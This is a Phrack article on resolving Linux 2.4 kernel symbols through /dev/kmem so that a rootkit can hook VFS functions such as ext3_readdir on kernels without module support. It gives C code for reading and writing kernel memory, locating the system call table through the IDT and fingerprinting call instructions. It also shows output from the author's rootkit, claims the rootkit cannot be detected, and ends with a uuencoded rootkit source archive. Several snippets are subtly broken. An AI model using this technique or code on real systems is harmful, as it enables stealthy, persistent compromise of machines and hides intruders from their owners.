==Phrack Inc.== |=--------------=[ Reverse symbol lookup in Linux kernel ]=--------------=| |=-----------------------------------------------------------------------=| |=--------------------=[ c0de @ UNF ]=------------------=| --[ Contents 1 - Foreword 2 - Introduction 3 - Linux kernel rootkits 4 - Kernel memory and /dev/kmem 5 - Kernel symbols and System.map 6 - Resolving kernel structures [ proc_root ] 6.1 - Resolving proc_root 7 - Resolving kernel functions 7.1 - Call instruction types 8 - Reverse symbol lookup 8.1 - Inventing algorithm and making kernel fingerprint 8.2 - Gathering data 8.3 - Finding system call table 8.4 - Linking collected data in the algorithm 8.5 - Resolving particular filesystem hooks 8.6 - Brief explanation of KERNEL_END 9 - Final address resolving and hints 10 - Possibility of detection 11 - Summary 12 - Bibliography 13 - Source code --[ 1 - Foreword This document is describing some advanced stuff in linux kernel. Some parts of the paper were fixed just right after ph-neutral and I would like to thank and greet LSD guys as they gave me some good, reasonable and comprehensive hints and informations on how to improve the technique(hints are kept private, sorry dudes). The idea can look weird at the very first time but hell.. it works and is a completely different approach to the symbol lookup. In this section I would also like to thank all the people who helped me in some way: svoern, rootkid, ducer, FX, pandzilla, tee, ducer, swanky and bajkero. Special greets to spacewalker who inspired me to do all this stuff. --[ 2 - Introduction In this paper I will describe some new idea which can be used in a big variety of evil ways in linux kernel, e.g. kernel abusing, as well as some good ways like checking if the kernel was abused. Why did I invent it? The reason is simple. Kernel rootkits which are using /dev/kmem are experiencing problems with locating for example vfs hooks (bear in mind that kmem rootkits are not linked with the running kernel), so they are forced to use system calls (still we can't call proc_root.proc_fops.readdir() ). This paper was designed to reduce the amount of work and show some simple ways or at least the idea on symbol resolving in the linux kernel. It will present some ways on how to locate kernel symbols as well as some important kernel structures. The idea itself is not so hard to understand as you will see in further sections, however it is heavily based on some knowledge about /dev/kmem and assembly I gathered during last few months and some other experience. The final target of this article is to demonstrate the way of resolving symbols and showing how to find and intercept vfs procedures without loadable module support in the kernel. --[ 3 - Linux kernel rootkits It is obvious that userland rootkits are history. That's why I will focus on kernel based rootkits, and proceed directly to the short and brief overview of kernel based linux rootkits. Please note that from now I will refer to the kernel rootkit as a rootkit (No! not a rootkid ;-] but a rootkit). A while ago some paper appeared in Phrack magazine written by palmers from TESO group. VFS technique which was not completely presented in the article (which contained some fake information to fool some people:) forced a lot of kernel hackers to mess with it. This way of abusing the Linux kernel had a slightly different approach than system call interception technique. It was based on kernel in-memory hooks which were hijacking some internal kernel functions on the lower level than system calls. By overwriting the addresses of readdir() and filldir() functions family the user was able to completely control the core of the system so it couldn't be trusted at all. But... all of these rootkits were based on LKM (which stands for Loadable Kernel Module). And what happens when the system has disabled module support??? Silvio Cesare [1] gave us an answer and provided some nifty paper which was describing on-the-fly kernel patching with heavy use of /dev/kmem device, which is mapping all the memory to the virtual device. That was it. On-the-fly kernel patching was what all the people were waiting for. The only problem with this way of abusing kernel was the linkage problem, /dev/kmem rootkits are not linked agains running kernel thus they just can't call printk(), etc. In this article I am going to present you some ideas which can be used to solve this problem and other problems with locating hotspots in the kernel. --[ 4 - Kernel memory and /dev/kmem To patch the kernel we have to fulfill some required conditions, which will be presented in a few paragraphs. And what about kernel memory? How do we access it? How do we modify it? How do we know what to modify? All of these things are not so easy for a person new to linux kernel however all of them can be done with small amount of work. Note well that if you do not know assembler you should first read some basic assembler literature and feel comfortable with it. You are probably wondering (if you don't know already how to do it:) how to apply some kernel modifications on-the-fly? I recommend you to read some more literature which is focusing only on /dev/kmem and patching as explaining how to patch the kernel is not the point of this article...ok you still don't know? I will do it briefly then. int kmem_read(int fd, void *ptr,int size,unsigned long offset) { lseek(fd, offset, SEEK_SET); return read(fd, ptr, size); } In the function above we read from kernel memory by first positioning the the stream pointer at the beggining of the memory using lseek() and then we add offset to the base address so we got the file pointer pointing to the memory address we want to read. Then the buffer pointed by ptr of size equal to 'size' is being filled with bytes from requested location. That is how we read from /dev/kmem. And how do we write to this pseudo device? int kmem_write(int fd,void *ptr,int size,unsigned long offset) { lseek(fd, offset, SEEK_SET); return write(fd, buf, count); } As earlier when writing we have to position the stream pointer at the begining of the memory and then add the offset which is actually the address in kernel memory we want to write at. As we just saw data can be either written or read to the kernel memory using special device by the name of /dev/kmem which can be accessed only with root priviledges on most systems. Root priviledges guarantee us that we will be able to succesfully read and write to the device, which is actually a kernel memory. Proceeding with the subject... We have read-write access to the memory and what should we do now? The best thing would be to locate some places in the kernel which, modified once after the system startup, should stay undetected and unmodified providing us some nice backdoor features at the same time. The features should allow us to have a complete control over the compromised system staying undetected at the same time. At the moment we know that we should modify something in the memory, but what exactly? Maybe some important kernel structures, or addresses of some functions, system calls addresses? All of these sound reasonable! But we have to know where to lookup them and we CANNOT hardcode the addresses as we want our binary code to be portable among all of 2.4 kernel family. What now? Game over? Not exactly. There are lot of ways to solve this problem: some more effective, some less but all done in a proper way can lead to the valid solution. In this article I will show you the possible way of doing a reverse symbol lookup. A solution without use of any help of any system files. It looks like we have to (or we want? do we?) do a lookup of some addresses of interesting things in the core, and how do we do it? This is the point of this article. Looking for one of the few possible solutions we are heading to the next section. --[ 5 - Kernel symbols and System.map In this section I will try to explain the System.map file and its contents which were highly useful in inventing one of the possible solutions. As you probably know the System.map file contains the addresses of all kernel symbols and global variables which are crucial, and thus critical part of the kernel. The file contains all the addresses for many purposes, e.g. symbol lookup when we are debugging the core of the Linux system or when the kernel panics it displays the debugging info about the place where it crashed (it uses the System.map to look up the place where it crashed) and so on. As you can see the file is quite useful to the kernel developers and people curious about their system and it is one of the most-important-things-you-cannot-forget-about. The idea of my experimental method is also partialy based on System.map file structure which may be very interesting thing to examine. This is an example output of System.map file: c0de@fbi:~$ head -n 5 /boot/System.map c0100000 A _text c0100000 t startup_32 c01000a5 t checkCPUtype c0100139 t is486 c0100148 t is386 . . . c0de@fbi:~$ --[ 6 - Resolving kernel structures In this section I am going to present the way of finding most crucial, thus very important, from kernel hacker's point of view, kernel structures such like struct proc_dir_entry proc_root. To resolve, and find the address in the kernel of some structure one should know what kind of structure he looks for. This sentence should be noted down! This is a first step in finding the structure. You have to know what are you looking for and how does it look like. Then you should declare the structure in your program and fill it with as much information as possible. Here is an example: struct proc_dir_entry { unsigned short low_ino; unsigned short namelen; const char *name; mode_t mode; nlink_t nlink; uid_t uid; gid_t gid; unsigned long size; struct inode_operations * proc_iops; struct file_operations * proc_fops; get_info_t *get_info; struct module *owner; struct proc_dir_entry *next, *parent, *subdir; void *data; read_proc_t *read_proc; write_proc_t *write_proc; atomic_t count; /* use count */ int deleted; /* delete flag */ kdev_t rdev; }; As you can see if we are looking for proc_root we have to get familiar with proc_dir_entry structure as proc_root has its format. So how much information do we know, and what can we fill the structure with? What is the user ID of proc_root owner? 0! What is the group ID of proc_root owner? 0! So we know that proc_root is owned by user root with UID=0 and GID=0. Let's fill the structure. What do we know else? We know the name field, which is actually equal to "/proc" string. Ah.. and there is also namelen field which contains the length of the name field, so let's fill them both. Knowing this we should start looking for this structure in the kernel memory... --[ 6.1 - Using the idea in proc_root resolving mechanism #define KERNEL_START 0xc0100000 #define KERNEL_END experimental value explained later struct proc_dir_entry root; unsigned long lookup_root(int fd) { int i; unsigned char buf[4096]; unsigned long t = KERNEL_START; while (t < KERNEL_END) { kmem_read(fd, buf, 4096, t); for (i = 0; i < 4096; i++) { if (buf[i] == 0x01 && buf[i+1] == 0x00 && buf[i+2] == 0x05) { kmem_read(fd, &root, sizeof(struct proc_dir_entry), t+i); if (root.uid == 0 && root.gid == 0) return t+i; } } t += 4096; } } This is a procedure which can be used to locate the proc_root structure in the memory. As you can see it is using only first 3 fields of the whole structure (in the function we are not using name field), but that seems to be enough and the lookup_root() procedure should finish succesfully and return the address of proc_root in the kernel memory. --[ 7 - Resolving kernel functions Now getting down to the buisness.... How do we locate the kernel symbols without using System.map, even without ksyms? Some tricky and nifty algorithm had to be invented. WARNING! all of these ideas were proven to work on gcc-3.2.2 compiled 2.4.20 kernel. Other kernels and compilers were not tested(sic!). But you guys are tough enough to code it yourself. :-) The rootkit will be available on my website [6] though (updated quite often). --[ 7.1 - Call instruction types First of all I did some little research on type of the call used inside the Linux kernel. There are 8 types of calls and they are respectively: E8 cw CALL rel16 Call near,relative, displacement relative to next instruction E8 cd CALL rel32 Call near,relative, displacement relative to next instruction FF /2 CALL r/m16 Call near,absolute indirect, address given in r/m16 FF /2 CALL r/m32 Call near,absolute indirect, address given in r/m32 9A cd CALL ptr16:16 Call far,absolute, address given in operand 9A cp CALL ptr16:32 Call far,absolute, address given in operand FF /3 CALL m16:16 Call far,absolute indirect, address given in m16:16 FF /3 CALL m16:32 Call far,absolute indirect, address given in m16:32 Please note: according to "IA-32 System programmer's guide - volume - 2 Instruction set reference" [2] the relative 32-bit call instruction prefixed with 0xe8 must be followed with signed long which is the offset to the call in this case. This is very important and crucial point in offset arithmetic. After a research it appeared that the linux is mainly using relative 32-bit calls which have the opcode prefix equal to 0xe8. Such strange 'phenomenon' occurs due to gcc optimization features, compile flags and linux code structure. And it appears quite obvious after analysing this small gdb output. (gdb) disas sys_exit Dump of assembler code for function sys_exit: 0xc011f7b0 : sub $0x4,%esp 0xc011f7b3 : movzbl 0x8(%esp,1),%eax 0xc011f7b8 : shl $0x8,%eax 0xc011f7bb : mov %eax,(%esp,1) 0xc011f7be : call 0xc011f4d0 0xc011f7c3 : lea 0x0(%esi),%esi 0xc011f7c9 : lea 0x0(%edi,1),%edi End of assembler dump. (gdb) x /5x sys_exit+14 0xc011f7be : 0xe8 0x0d 0xfd 0xff 0xff As you can see do_exit() was called with relative 32-bit call. You can do the following check for as many kernel functions as you want and you will see that they use relative calls. Note well that the example above is just an EXAMPLE. I did not base this knowledge on a single case but on some statistical research (big numbers law). Now we can see that offset when typed as signed long can produce the address either in front of or somewhere behind our call instruction (+ or -). Ok, so now we know the exact type of the call instruction in the kernel. All the addresses will be located by searching the kernel memory for 0xe8 between predefined in the program KERNEL_START and KERNEL_END, whereas KERNEL_START is equal to 0xc0100000 and KERNEL_END will be explained later. We must be aware of the fact that not only calls contain 0xe8 bytes. Another instructions can still include 0xe8 byte for example in an argument. So how do we distinguish between them? How do we know that our call is REALLY a call instruction??? Few ways are possible: one is to check few bytes at the addresses calculated from the offset just behind 0xe8 byte and check for the function prologue which is typical for Linux (hard!), another one is to check if the address is in the mmaped memory (intermediate) and the last one is simplest one: we just have to check if the address is less than KERNEL_END and bigger than KERNEL_START (easy!). I chose to use the last one. --[ 8 - Reverse symbol lookup This is the main part of the article. If you feel tired take a break. Fresh mind would be a great solution to go through the next part of the article. --[ 8.1 - Inventing algorithm and making kernel fingerprint Our task now is to invent a valid algorithm to resolve symbols. I decided to create kernel fingerprints which were heavily exploited in the algorithm itself. Note well: all kernel fingerprints have to be made by hand!!! Although not all symbols have to be resolved. Do as little kernel fingerprints as possible. Let's represent each symbol by a structure defined as below: struct kernel_sym { char *called_by; char *caller; char *callee; int number; int r unsigned char prefix; unsigned long *address; int resolved; }; Each of these fields is responsible for different actions. called_by is giving us the information on the function which called symbol which is currently being resolved, caller is the name of current symbol, callee describes us which function is being called by this symbol, number gives the number of this call in current symbol, address contains the address of the currently resolved function, and finally resolved tells us if the symbol has already been resolved. Quite bigger explanation should be provided on r field. What is it? This field is so called recursive flag. If we wanted to do some additional lookup inside the resolved symbol we set this flag to 1, otherwise it should be 0. Quite hard to understand, isn't it? Let's take a look at the example below. struct kernel_sym *ksyms = { {NULL, "startup_32", "setup_idt", 1, 0, 0xe8, NULL, 0}, {NULL, "startup_32", "check_x87", 2, 0, 0xe8, NULL, 0}, {NULL, "startup_32", "start_kernel", 3, 1, 0xe8, NULL, 0}, {"startup_32", "start_kernel", "printk", 1, 0, 0xe8, NULL, 0}, . . . {NULL, NULL, NULL, 0, 0, 0, NULL, 0} /* end of the fingerprint */ }; Let's explain the structure of this fingerprint. You probably have already noticed that the third field in each entry gives us the name of the function called by currently resolved symbol, whereas the first entry provides us the name of function which invoked the current symbol; fourth entry provides us with the info on the number of the call in the symbol. Basing on this info we can easily see that printk() is being called by start_kernel() as a first function. And whats more, we can even say that start_kernel() is being called by startup_32() as a third function in a relative call. Following these informations we do basic disassembly and get the address of the printk. Actually, that's the way I did it in my source code. That was just a brief explanation of the fingerprints ;-). For more detailed one take a look at source code which should be attached to this document. --[ 8.2 - Gathering data So the best way now, when we know how to distinguish properly between valid calls, would be to scan all memory between KERNEL_START and KERNEL_END to collect all addresses pointed by the call instructions of requested fingerprint which should be resolved.. That's not all yet;-). One should also filter some junk addresses because not all get filtered by simple conditional check (if addr is greater than KERNEL_START and less than KERNEL_END). So some small additional checks are recommende though not required. Nota bene: these checks are mainly required for addresses which appear at the end of the System.map file. So the possible kernel memory scan and symbol resolving procedure can look like this piece of the source code. int struc_size(struct kern_sym ksym[]) { int i; for (i = 0; ksym[i].caller; i++) return i; } unsigned long walk_tree(int fd,struct kern_sym *ksym,unsigned long start) { unsigned long addr, t = start; struct kern_sym *q = ksym; unsigned char buf[8192]; int size = struc_size(ksym), i, j; unsigned long t = start; signed long offset; printf("%d entries to resolve.\n", size); for (i = 0; i < size; i++) { kmem_read(fd, buf, 8192, t); for (j = 0; j < 8192; j++) { if (buf[j] == q->prefix && q->prefix != 0) { switch(q->prefix) { case 0xe8: kmem_lread(fd, &offset, t+j+1); addr = offset+ 5 + t + j; if (addr > KERNEL_START && addr < KERNEL_END) { q->resolved = 1; q->address = addr; q++; t = t + j + 5; j = 10000; /* =) */ break; } break; } } } } return addr; } The algorithm should be straightforward and thus easy to understand but few words of explanation... just in case :-) What does this function do? It appears that it performs some buffered read operations on /dev/kmem device. Then it look for bytes which match the opcode prefix. When correct prefix - 0xe8 in our case - is encountered then switch statement is activated (why I have used switch statement? for future expansion..it will be easier to add different types of calls to this mechanism). Afterwards it reads signed long integer just behind 0xe8 byte. Then it performs some very easy arithmetic action known as addition.:-) It adds the offset to the base address and also adds some additional 5 bytes. Why ? Quite simple. The address should be calculated from the instruction just behind the call, and call is ... 5 bytes long:) After it marks symbol as resolved and proceeds to the next one. Few more words of explanation regarding the magic argument - - unsigned long start which holds some value which tells walk_tree() function where it should start resolving symbols. It should be in most cases and entry point to some function... good idea would be to start with resolving them in system calls' procedures, and the problem is with locating system call table (keep in mind that we are not linked with kernel ;P) The trick is that we can get rid of this problem... --[ 8.3 - Finding system call table How do we locate system call table? What will we use it for? The system call table(SCT) will be used as a reference to find interesting addresses which will be used furhter for resolving symbols needed by the rootkit. In LKM we would simply use external variable sys_call_table, but again we are not linked with kernel - don't forget it:) The strategy for resolving the address of SCT is quite simple. unsigned long get_syscalltable(int fd) { unsigned long old_idt; unsigned long r; char buf[512], *p; unsigned long pos[2]; asm ("sidt %0" : "=m" (idtr)); kmem_read(fd, &idt, sizeof(idt), idtr.base + 0x80 *sizeof(idt)); old_idt = idt.off1 | (idt.off2 << 16); kmem_read(fd, buf, 512, old_idt); p = (char *) memmem(buf, 512, "\xff\x14\x85", 3); if (!p) return 0; pos[0] = old_idt + ((p + 3) - buf); r = *(ulong *) (p + 3); p = (char *) memmem(p+3, 512 - (p-buf) - 3, "\xff\x14\x85", 3); if (!p) return 0; pos[1] = old_idt + ((p + 3) - buf); return r; } As you can see above this function resolves system call table. First it uses asm (x86 specific) sidt instruction to store IDT descriptor which provides us with the base address of the 0x80 system call handling procedure. Afterwards we just read this function into a buffer: old_idt = idt.off1 | (idt.off2 << 16); kmem_read(fd, buf, 512, old_idt); Using simple pattern matching technique we locate the address of the sys_call_table which will be used for gathering interesting entry points later. --[ 8.4 - Linking collected data in the algorithm In this subsection we will focus on creating the algorithm. You would probably ask now: ``what now?''. Good question, but first let's take a look on things we know already; we have kernel fingerprint represented in some structure, we know the type of the call used inside the kernel, and finally we have read-write access to the memory of the kernel. After the successful finish of the walk_tree() we will be able to easily easily get addresses of some interesting functions like kmalloc(), kfree() and even __generic_copy_from_user() which is a function, not an inline macro - declared as unsigned long __generic_copy_from_user(void *to, const void *from, unsigned long n) in arch/i386/lib/usercopy.c We should now start scanning for calls... so the algorithm (the outlook one of course) is as follows: struct kern_sym kmalloc_sym[] = { {NULL, "sys_poll", "__constant_copy_from_user", 1, 0, 0xe8, 0, 0}, {NULL, "sys_poll", "__generic_copy_from_user", 2, 0, 0xe8, 0, 0}, {NULL, "sys_poll", "do_poll", 3, 0, 0xe8, 0, 0}, {NULL, "sys_poll", "poll_freewait", 4, 0, 0xe8, 0, 0}, {NULL, "sys_poll", "kfree", 5, 0, 0xe8, 0, 0}, /* !!! */ {NULL, "sys_poll", "free_pages", 6, 0, 0xe8, 0, 0}, {NULL, "sys_poll", "free_pages", 7, 0, 0xe8, 0, 0}, {NULL, "sys_poll", "__get_free_pages", 8, 0, 0xe8, 0, 0}, {NULL, "sys_poll", "__get_free_pages", 9, 0, 0xe8, 0, 0}, //{NULL, "fake", "fake", 10, 0, 0xe8, 0, 0}, /* start X and you are fukked =) */ {NULL, "sys_poll", "kmalloc", 10, 0, 0xe8, 0, 0}, {NULL, NULL, NULL, 0, 0, 0, 0, 0} }; int struc_size(struct kern_sym ksym[]) { int i; for (i = 0; ksym[i].caller; i++) return i; } unsigned long walk_tree(int fd,struct kern_sym *ksym,unsigned long start) { /* defined somewhere in the text above. cleared to improve readability */ } unsigned long get_syscalltable(int fd) { /* defined somewhere in the text above. cleared to improve readability */ } int maybemain(int hrhr, char *yummy[]) { unsigned long kmalloc_address; unsigned long tmp; unsigned long sys_call_table; int kmem_fd = open("/dev/kmem", O_RDWR, 0); /* no error checking as this article is limited in space :) */ sys_call_table = get_syscalltable(kmem_fd); kmem_lread(kmem_fd, &tmp, sys_call_table + __NR_poll * 4); walk_tree(kmem_fd, kmalloc_sym, tmp); kmalloc_address = kmalloc_sym[struc_size(kmalloc_sym)-1].address; return 0; } Now the explanation... sys_call_table address is being resolved using some pattern matching method, which is comprehensive and efficent and perfectly fits our needs. When we have got address of sys_call_table then we resolve previously prepared fingerprint. We provide sys_poll address and kmalloc_sym structure as arguments to the function which resolves symbols for us. Afterwards we just get the address from the last entry in the structure which is in most cases the symbol we wanted to resolve. example output from the rootkit : fbi:/home/c0de/kmem# ./a -debug [#] Testing. [#] Starting rootkit. [#] Reading /dev/kmem. [?] syscall table: c02cf370 5 entries to resolve. sys_open -> getname at c013ea40 sys_open -> get_unused_fd at c01343a0 sys_open -> filp_open at c0134170 sys_open -> kmem_cache_free at c01336d0 sys_open -> fd_install at c012d0c0 10 entries to resolve. sys_poll -> __constant_copy_from_user at c01445b0 sys_poll -> __generic_copy_from_user at c027ce20 sys_poll -> do_poll at c01441b0 sys_poll -> poll_freewait at c0143840 sys_poll -> kfree at c012d0f0 sys_poll -> free_pages at c012f110 sys_poll -> free_pages at c012f110 sys_poll -> __get_free_pages at c012f050 sys_poll -> __get_free_pages at c012f050 sys_poll -> kmalloc at c012d070 Invoking INIT Running debug session so not running INIT in kernelspace c0152a70 and then grepping the System.map file for the addresses... fbi:~# grep c012d070 /boot/System.map c012d070 T kmalloc fbi:~# grep c012d0f0 /boot/System.map c012d0f0 T kfree fbi:~# grep c027ce20 /boot/System.map c027ce20 T __generic_copy_from_user fbi:~# huh.. works.. well.. it looks like sys_poll was a good place to start resolving symbols.. we got 3 important functions resolved at this moment. __generic_copy_from_user(), kmalloc(), and kfree(). Kernel coders allready know how important these functions are...no explanation needed. --[ 8.5 - Resolving particular filesystem hooks [ext3, etc.] In this subsection you will get the oportunity to see the way of finding the certain filesystem hooks such like ext3_readdir. We will have to do this thing in kernelspace though, so that's why reading at least sucKIT [7] sources is recommended to understand how do we get into the kernelspace. The trick on finding certain readdir function assigned to some specified filesystem type is to use filp_open() procedure resolved earlier. struct kern_sym filp_close_sym[] = { {NULL, "sys_close", "filp_close", 1, 0, 0xe8, 0, 0}, {NULL, NULL, NULL, 0, 0, 0, 0, 0} }; This is a fingerprint for filp_close function, which is later to resolve it. kmem_lread(fd, &tmp, sys_call_table+__NR_close*4); walk_tree(fd, filp_close_sym, tmp); size = struc_size(filp_close_sym); filp_close = filp_close_sym[size-1].address; When we know the exact location of filp_close function we can easily pass it to our kernelspace initialisation procedure and thus by executing the following piece of code we get the readdir location. if (filp_open != 0) { filp = (struct file *)filp_open("/", 0, 0700); write(0,t1(), strlen(t1())); f_op = filp->f_op; write(0, t3(), strlen(t3())); /* for article only */ return f_op->readdir; } After a return we have the exact address of readdir() function (ext3_readdir to be more precise). fbi:/home/c0de/kmem# ./a . . . sys_open -> filp_open at c0134170 . . . 1 entries to resolve. sys_close -> filp_close at c01345e0 filp_close -> c01345e0 Invoking INIT -> rootkit is up and running --> everything is fscking ok:) ---> fs->readdir in ret value (for article purpose only). INIT FUNCTION RETURNED WITH c015a1e0 c0152a70 fbi:/home/c0de/kmem# grep c015a1e0 /boot/System.map c015a1e0 t ext3_readdir fbi:/home/c0de/kmem# After grepping the System.map we see that the address was resolved correctly. Point. --[ 8.6 - brief explanation of KERNEL_END KERNEL_END is very important value which is a critical part of the condition check which appears in walk_tree() procedure. There is no way (well, there is one.. but ehm.. technically complicated a bit - depends on some statistical research - test as many kernels as possible and calculate the average mean:P ) to determine the exact address in the memory where the kernel ends. Hence we have to do an approximation. Some good value which could be assigned to KERNEL_END could be 0xc0365578. Why such value? It is known that some symbols wont fit into this range (0xc0100000 - 0xc0365578) but they are mostly useless ones and we just need basic kernel symbols to operate in kernelspace easily. --[ 9 - Final address resolving and hints This point of the section is the funniest and the simpliest one =). What we do is: "walk" the symbol and afterwards we search for the callee name which we are interested in. Later we just get the address from found entry and thats it. The last task is to write some function which will dump all the resolved addresses to the disk and hide them somewhere so in case of some error or accidental rootkit removal it wont resolve symbols again but it will just read them from disk. That should speed up startup process. Bear in mind that such trick should only be used (unless we are not writing a rootkit) if we have really big bunch of symbols to resolve, because it increases the possibility that the rootkit will get detected. The thing is that we want to be ASAP - as stealthy as possible :-). --[ 10 - Possibility of detection What are possibilites of detecting such rootkit? The answer is very simple. There is no chance of detecting such rootkit on kernel with disabled module support. Point. Due to intercepted vfs hooks which are located on level lower than system calls' handling procedures they can't be verified by simple methods used by few anti-rootkit programs, e.g chkrootkit. They also can't be detected by either St.Jude or St.Michael because they are based on LKMs which are not supported. Also execution path analysis as described by J.K.Rutkowski in phrack [4] magazine will fail as prrrf.o is a LKM, hence it cannot be loaded into the kernel. All of these methods will probably succeed on the kernel with enabled module support, but that is not the point of the article. --[ 11 - Summary If you have reached this section it is a time to say goodbye. I hope you spent nice time reading this paper. Please drop me an email with few words and your opinion. Few topics were not fully covered: they are calculating the addresses and instructions, note that the most of functions in kernel are invoked by relative call but not all. Just few are invoked by simple jmp instruction and it was not covered. I could also discuss the whole algorithm better but.. maybe next time hrhrhr =) (greets to rootkid and svoern here). Okeydokey. That's all! I hope I showed you at least the way on symbol resolving and how to do it... --[ 12 - References Most of things were researched and invented by me... but this article wouldn't appear without these references [1] runtime kernel patching by Silvio Cesare + great paper about new idea in the linux kernel branch ;-) [2] IA-32 Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference + the great do-not-leave-home-without-it book. [3] Spacewalker + belgian astronaut [4] Phrack + I wonder what is this [5] stealth.7350.org/rootkits/bender.tgz + some other approach to the idea developed independently by stealth from TESO [6] http://www.c0de.u-n-f.com + my page [7] sucKIT /dev/kmem rootkit + sd.g-art.nl --[ 12 - Source code begin 644 kmem.tar.gz M'XL("+">[SX``VMM96TN=&%R`.P]:W?;-K+]*OT*Q+VQ)%N*24F67U'V9//H M]J[[N$U[M[=)C@Y-439KBF1)RH]L?'_[G1D`)`"2DNS8Z=VSX6D3$AC,"S.# MP8!BSN?>?.>KA[TL:VCM[>["WY:]MVNI?\OK*VMOM#?8L_?Z0_LKR[;P+[;[ MP'S1M4@S)V'L*]>:>LO@5O7_BU[G./]^Z&=/W`>C`?-IC8;#NOFW+>R#^0VGFAZ=/WH4;'>C> MV?@)@(NK-_-!CTV@R]2_: M8??$2;T.:_^3O:/U8S))O/0('N@&8EJ[O0A3_S3TIBR(0@BY88<]9GECAR$" M'!#6`.]4`0LR-YUFDX<^!DS#?R)$IW:7(3>!+2-IVAPV;,Q#F/%,'D%=J]W5&HEI,`+KG#`"%"&T9T2F+PJ2,LKM7%M MD$\W36/(][\<']/RU-2T!I,UCP,/5IPDBQ9!VXU@S1-J<.,NOX%5?!IW\W&H M&II)13DZ4M#W(LAPH>M>.,'"`UO0!.9V4-81MN-J;E4K"CABXS%K6:VJP0:2 M_3(.>;FQJJHJ2CFI*R`%28B?7DW]4UA+W1ARD,XR\NL1,9BU1_6@-Z6>FXII M%A:8,PH"(.?FV#;-!U#T4P7N+SC9/=`K.RP1`[.(8R\AP%[K>6O;AB3H*:N; MPGSJ^P+9(GJ_2'K<^,@T=4Z9C+UDXG>W<'^& M*AB/6[U6F2M!N6=Z4[QM=PDU82MQ6@+7@&],7ZUPV*7RK+0^ICCN:J_^XMIK M$3&8?3#7OKTO`XH@NA2^#("J:[-#]J_KX64W_ZQ^?EM'K_)TR%(SWR6.TG,_ MGCA9Y&LR;*4:E[B3Q(UTV4J$+0!\F7_D':VMSNLAVY78MDG MMF0*]]NKGW[X\?E+V)+KU\X6BYTIN_2S,_;!2R*&::48\^;;;[Y'F'YYC)R! M'36^*$-_//[E#8(.RT/3L^B2Q<$BU4C]^/S%*^C?KX"/'==#QWV#GX,Q^XTPB]>O'M\V,VZ)<&65<:]N<_?8,/$<_W4CT+^B'F_:FA$QNWB/'6S>?QV-'I?F(IJGV1V M:65?.H=MPX0#O'V/Y1[+[@^&NZ.]_0,N\^F9__MY,`^C^(\DS187EU?7'S8J M<06P4_%J<'&=?O.W;__S[\????_#C__UTYN??_GO?_SZ/[\IN,AS%+_AJ##> MH.ALD\\5%(1'58HC+8[)@6!099?CG6/VO\*%]*$4/)^"BWS\R!>,9VPP MJHT[RN+I*AP+S,@SQ7W68HH_X]3QFE,%S^BC54$>0<"6@#5KV8HH<$.LK%_D M$,V8]>"O>A@TQZKMT0WS@M13&<;(L`Y'VTLX6I\:Q95UR+&[D*M9%G/:%&KJ M9H>G%YA?U&\7D3+KC5F_3#R75.+97XY&%4!AMVQ8--U8*2U[`H0/?WO[_5A; M;H@1L7CAV$=+QP(]X?NRJ``!CU;1]SH;/GA2'MK*^/(N7!!57^$*R[MUI(]H M;C;;PN&VR>,K4T82J,T5]VRI"]$<+&;LZ1AC>?TDR&L+@5=8W/8V`*UO<&C$ MM6:V!FN")413)FKP`P>^/^#LT\D*1QK,'A_;Y;U M2%L;:QV%"4\!GWT(7W'O11Z98,.:F(>'7N\>_*9RJFO=1K)1KZU;DJ?06C'E MJSA8/F6WU4%5.*OE0*1#U'O#SR4G%VDHSO5X/DI)7('&[LN;5R[:&P-E4Z*!W$X9A8XI^E1 MHP$[`+J%[;?,ZSN4\G,HWPNFDTM_FIT=(2C=X>X@6F3Q0O0C>$-+WCG>N1\^ M85\CM,A:9U&"":]WZB7I$9L[5\T&7(P)P@B)7'+`61+-&4CB\[T8$?ACX02X M"4HX@=99J\M:`?P!\*WCEDJ`LT9;+"2"T!]:+%W$<92`AJ=3T&5_L+.W8Q\< M'+`W3_[VA.9?@P9FPE.``]6T?FNQ7F_J7/C3.;-W^KL[,(K4!"R"Q=#D-T#E M_!YVM'SQQK-@?GR+?4^I#QKYP2T';^='H/P(MT$CR5`!E".3)\HH8/N(S(4= M@47"WQP55:VP%1*6UN,6;Z16Y$^:/-'KQ?FUFN'5U#R%B1#1-3:G)<:"B7\HDN94.R6%:AAJE" M@\M4J.API1(U.M4ZO)%<%J"HQM)HZZA"/^"G%Q!!$2(/B)QT\5BIJK,6;NSS MQT!_/%8?(=X)R56<2M"0=TA``>%H-S=5*E*%*B:@=F3H536%J3=SL*Q+VT$2 M3:G8-RL#"/=)MT6QJ,'3/6YO2KZ'70V1,?14^Y2)`P%4QLTB=%)VP%N*X"GF M5/Q)]9!\S<9%K5-C"=6T!"57ZBBGLI+W:M9+G"LH!<=Y\"^4F0IEIJ8=%Z_X M2%6G@A*";CS%X]UG&QQ5`Q(8]+&N#:.+C;"`6&.R$,E3-1WAN>X]31J?M;F'-$ M,YF)"'JEQ4TAS7D3&2,EG)AO"L[-=R$TXQ$T)*P]ZJI:Z:HE8&)`<*/(6@@; M"F$A9+S^]M?O7O&G+?:/,R=CT\A+V0O(TU+GFCDGD+)2^(P@>,Z"Z)(1BC,O M\?XB`W=5,,M5QD\%F!^;WL`[I-*V"("FD[(WT:[LTW4*OQ44 M%6E6834R:E^%J=;`'BL&5A>X`*@4NG1V"3V6PDJWB&FV MN`TZD`MOG"2><[XAYHKS$@E>BJ-8>D)`E>5?!5B1?V!5_:@`N-+QX"EI):(I MA^,/OHD5R]<*TH5$6F`1Z]K=%"C7\C6C4IZO:'%#,Q!81B20.=^\I6RNQRVB MP\OH93<@?]?2T1I_JD"@!XTBUQ3K`AT.$)=\;%M_W8IVPVNX605A[ER=I>// M]/%%A$O/8$-9M[JOP[]`H`NP4D>W(H'`.8%F7?#FQW7\J,Y8(ZJC\DVSP@2E M`;_#.E)A!K2I?<9S7$SPHK"5L^-`KVDO(P M%]#S3;-`3WM-CV6)XP<^U40D$@S^2,*-%GB.&%TZR92G[%F4.4$3%@GI%HA7 MGHQG24_6<9J\DF,4R2E.+TO5'/&:M:P2J<6=^O._XG5KFFZ^-OJM;A^.28!NDSP(:FF M%0K]7-I3./TDO:6N$\ZT-R+*^F#MQ>ZN)RQ[;TQJ(NIC7S MHJ!LT6Q6VYIKZDPGQ1%MWJ/4G8Y0+'Q1H[K*ZJ?TBH/8=B^IGA=+C=ESTZS$ M;)2WZO!*T.UM!$;5`K,K:_-BCI<>"R_CV&P1V]IZ08KJ0ATYL6]XI&MTI20D 